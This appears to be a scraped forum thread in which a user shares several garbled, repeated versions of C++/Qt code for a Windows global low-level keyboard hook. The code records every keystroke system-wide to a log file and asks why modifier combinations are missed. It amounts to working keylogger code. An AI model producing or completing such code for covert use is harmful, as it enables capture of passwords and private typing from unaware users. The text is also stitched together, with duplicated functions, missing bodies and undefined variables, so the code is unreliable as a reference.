LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
buffer[4] = L'\0';
// Print the output
if( wParam == WM_KEYDOWN){
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
Write(mFilename,s);
qDebug() << s;
}
if (wParam == WM_KEYDOWN)
{
qDebug() << "hola";
switch (wParam)
{
case VK_RETURN:
qDebug() << "prueba";
break;
default:
break;
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
buffer[4] = L'\0';
QString num = QString::fromUtf16((ushort*)buffer);
// Print the output
QString s = QString::fromUtf16((ushort*)buffer);
if( wParam == WM_KEYDOWN){
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
Write(mFilename,s);
qDebug() << s;
}
if (wParam == WM_KEYDOWN)
{
qDebug() << "hola";
switch (wParam)
{
case VK_RETURN:
qDebug() << "prueba";
break;
default:
break;
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
To copy to clipboard, switch view to plain text mode
Obviously i can do with keypress but the events dont capture only show me for example when i use ctrl u
#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <iostream>
#include <QFile>
#include <QString>
#include <Windows.h>
#include <QTextStream>
#pragma comment(lib,"user32.lib")
#include "Winuser.h"
HHOOK hHook = NULL;
using namespace std;
{
{
//error
}
out << s ;
mFile.flush();
mFile.close();
}
void UpdateKeyState(BYTE *keystate, int keycode)
{
keystate[keycode] = GetKeyState(keycode);
}
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
QString mFilename
= "C:/Users/moh/Desktop/log.txt";
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
buffer[4] = L'\0';
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
// Print the output
// int cod = cKey.vkCode;
//QString s = QString::number(cod);
//qDebug() << cKey.vkCode;
if( wParam == WM_SYSKEYDOWN ){
switch (wParam)
{
case VK_RETURN:
qDebug() << "prueba";
break;
default:
qDebug() << "prueba";
}
}
if( wParam == WM_KEYDOWN && cKey.vkCode>31 ){
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
//Write(mFilename,s);
qDebug() << s;
}
if( cKey.vkCode == 8){
Write("","");
}
if( cKey.vkCode == 13){
Write("","\n");
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main(int argc, char *argv[])
{
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
if(hHook == NULL){
qDebug() << "error";
}
/*
if(!ap.exists()){
qDebug() << "El archivo seleccionado no existe";
return 1;
}
ap.open(QIODevice::WriteOnly | QIODevice::Text);
if (!ap.isOpen()){
qDebug() << "El archivo no se ha podido abrir";
return 2;
}
//contenido = ap.readAll();
ap.write(contenido);
ap.flush();
ap.close();
*/
return a.exec();
}
#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <iostream>
#include <QFile>
#include <QString>
#include <Windows.h>
#include <QTextStream>
#pragma comment(lib,"user32.lib")
#include "Winuser.h"
HHOOK hHook = NULL;
using namespace std;
void Write(QString Filename, QString s)
{
QFile mFile(Filename);
if(!mFile.open(QFile::WriteOnly | QIODevice::Text | QIODevice::Append))
{
//error
}
QTextStream out(&mFile);
out << s ;
mFile.flush();
mFile.close();
}
void UpdateKeyState(BYTE *keystate, int keycode)
{
keystate[keycode] = GetKeyState(keycode);
}
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
QString mFilename = "C:/Users/moh/Desktop/log.txt";
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
buffer[4] = L'\0';
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
QString num = QString::fromUtf16((ushort*)buffer);
// Print the output
QString s = QString::fromUtf16((ushort*)buffer);
// int cod = cKey.vkCode;
//QString s = QString::number(cod);
//qDebug() << cKey.vkCode;
if( wParam == WM_SYSKEYDOWN ){
switch (wParam)
{
case VK_RETURN:
qDebug() << "prueba";
break;
default:
qDebug() << "prueba";
}
}
if( wParam == WM_KEYDOWN && cKey.vkCode>31 ){
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
//Write(mFilename,s);
qDebug() << s;
}
if( cKey.vkCode == 8){
Write("","");
}
if( cKey.vkCode == 13){
Write("","\n");
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
if(hHook == NULL){
qDebug() << "error";
}
/*
if(!ap.exists()){
qDebug() << "El archivo seleccionado no existe";
return 1;
}
ap.open(QIODevice::WriteOnly | QIODevice::Text);
if (!ap.isOpen()){
qDebug() << "El archivo no se ha podido abrir";
return 2;
}
//contenido = ap.readAll();
ap.write(contenido);
ap.flush();
ap.close();
*/
return a.exec();
}
To copy to clipboard, switch view to plain text mode
Bookmarks